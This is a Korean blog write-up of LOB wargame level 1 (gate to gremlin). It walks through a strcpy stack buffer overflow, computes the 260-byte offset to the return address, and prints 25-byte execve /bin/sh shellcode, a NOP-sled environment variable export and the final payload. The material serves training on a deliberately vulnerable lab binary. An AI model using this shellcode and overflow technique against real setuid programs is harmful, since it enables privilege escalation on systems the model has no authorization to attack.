본문 바로가기

/LOB

LOB #1 gate

ID : gate

Password : gate

 

파일 목록

ls -al 명령을 통해 gremlin 파일에 다음 레벨인 gremlin의 setuid가 걸려있는 것을 확인할 수 있다!

gremlin.c 소스 코드를 보면,

gremlin.c

buffer의 크기는 총 256byte이고, strcpy()함수가 사용된 것을 확인할 수 있다

strcpy 함수는 버퍼에 크기를 제한받지 않고 입력받을 수 있기 때문에 버퍼오버플로우 취약점이 존재한다

이걸 통해 exploit 해보자!

 

- main 함수 디버깅

main 함수 디버깅

exploit을 하기 위해서 ret와 buffer사이의 거리를 구해야 한다.

<main+54>에서 strcpy를 호출하고 있으므로 호출 전에 push해준 %eax가 buffer가 될 것이다. <main+47>를 통해 %eax에는 [%ebp-256] 값이 들어가 있는 것을 확인할 수 있고, 그러므로 ebp-256이 buffer의 위치가 될 것이다.

buffer의 위치가 ebp-256이라는 것은 dummy값 없이 버퍼(256byte이므로)로만 이루어져있다는 뜻이다.

(mov ebp,esp 명령어가 호출될 때 esp는 sfp 하단을 가리키고 있으므로 ebp는 계속 sfp 하단을 가리키고 있을 것이다. 거기에서 256만큼 떨어져 있는 곳이 버퍼의 주소이므로 256byte가 모두 버퍼로 이루어져 있는 것이다!)

그림으로 표현하면,

위와 같이 되고, ret과 buffer의 거리는 버퍼크기(256)+sfp(4)가 된다. 

그러므로 260byte를 다른 값으로 채워 버퍼오버플로우를 일으킨 후, ret값을 쉘코드 주소로 변경해주면 쉘을 얻을 수 있다!

 

<쉘 코드 주소 알아내기>

ASLR이 걸려있을 수 있으므로 환경변수에 쉘코드를 등록한 후, c코드를 이용하여 등록한 쉘코드의 주소를 얻는다

25byte 쉘코드 사용 -> \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

 

- 환경변수 등록

export SHELL2=$(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")')

 

- 쉘코드 주소를 얻는 c코드

c코드를 컴파일 후 실행하면,

위와 같이 쉘코드의 주소를 얻을 수 있다.

 

- exploit

위의 그림을 바탕으로 payload를 작성하면,

./gremlin `python –c ‘print “A”*260+”\xf1\xfb\xff\xbf”’`

이 된다.

실행하면,

exploit이 성공한 것을 확인할 수 있다!!

 

'Write Up > LOB' 카테고리의 다른 글

LOB #5 orc  (0) 2019.11.11
LOB #4 goblin - argv[2] + NOP Sled이용  (0) 2019.11.11
LOB #4 goblin - NOP Sled 이용  (0) 2019.11.11
LOB #3 cobolt  (0) 2019.10.10
LOB #2 gremlin  (0) 2019.10.10